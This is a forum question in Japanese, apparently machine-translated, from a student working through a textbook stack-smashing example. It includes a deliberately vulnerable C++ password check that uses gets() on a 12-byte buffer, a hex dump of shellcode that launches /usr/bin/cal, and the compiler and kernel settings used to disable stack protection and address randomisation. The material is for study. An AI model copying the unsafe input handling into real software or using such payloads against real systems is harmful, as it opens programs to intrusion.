私は大学の宿題をしていて、私が取り組んでいる本 (Robert Seacord による C および C++ でのセキュアなコーディング) には次の例があります。
簡単なパスワード入力プログラムを作成し、プログラムでスタックスマッシュを実行して、端末にカレンダーのスナップショットを表示させます。スタックスマッシングの例としては、非常に単純明快です。私たちが取り組む必要のある本は、セグメンテーション違反がこの種のアクティビティをカバーする前に、ずっと前に書かれたと思います.
多くのサイトを検索しました (g++ コンパイラに -fno-stach-protector を追加し、kernel.randomize_va_space=0 も設定しましたが、これらのいずれもエクスプロイト コードの実行を許可されていませんでした。
パスワードの C++ コードは次のとおりです。
#include <cstring>
#include <stdio.h>
#include <iostream>
bool isPasswordOkay(void);
int main(void)
{
bool PwStatus;
puts("Enter password:");
PwStatus = isPasswordOkay();
if (PwStatus == false)
{
puts("Access denied");
return 0;
}
else puts("Access granted");
return 0;
}
bool isPasswordOkay(void)
{
char Password[12];
gets(Password);
if (!strcmp(Password, "goodpass"))
return true;
else return(false);
}
これがエクスプロイト コード (exploit.bin) です。
000 31 32 33 34 35 36 37 38–39 30 31 32 33 34 35 36 "1234567890123456"
010 37 38 39 30 31 32 33 34–35 36 37 38 E0 F9 FF BF "789012345678a. +"
020 31 C0 A3 FF F9 FF BF B0–0B BB 03 FA FF BF B9 FB "1+ú . +≠+. +≠v"
030 F9 FF BF 8B 15 FF F9 FF–BF CD 80 FF F9 FF BF 31 ". +ï§ . +−ç . +1"
040 31 31 31 2F 75 73 72 2F–62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal "
パスワード コードがコンパイルされたら、./a.out < explore.bin と入力して実行します。
実行すると、ターミナルは「Segmentation fault (core dumped)」を返します。表示されるのは、「111/usr/bin/cal」にあるカレンダーのスナップショットです。
私の質問は、このセグメンテーション違反を一時的に無効にして、エクスプロイト コードを実行できるようにする方法はありますか? 現時点では少し困惑しているので、これにより、セクションを続行できます。
ありがとう、ジョン
編集: 残念ながら、私は新しいので、まだ画像をアップロードできませんが、exploit.bin コードの内訳へのリンクを次に示します。http://imgur.com/lpz9eY4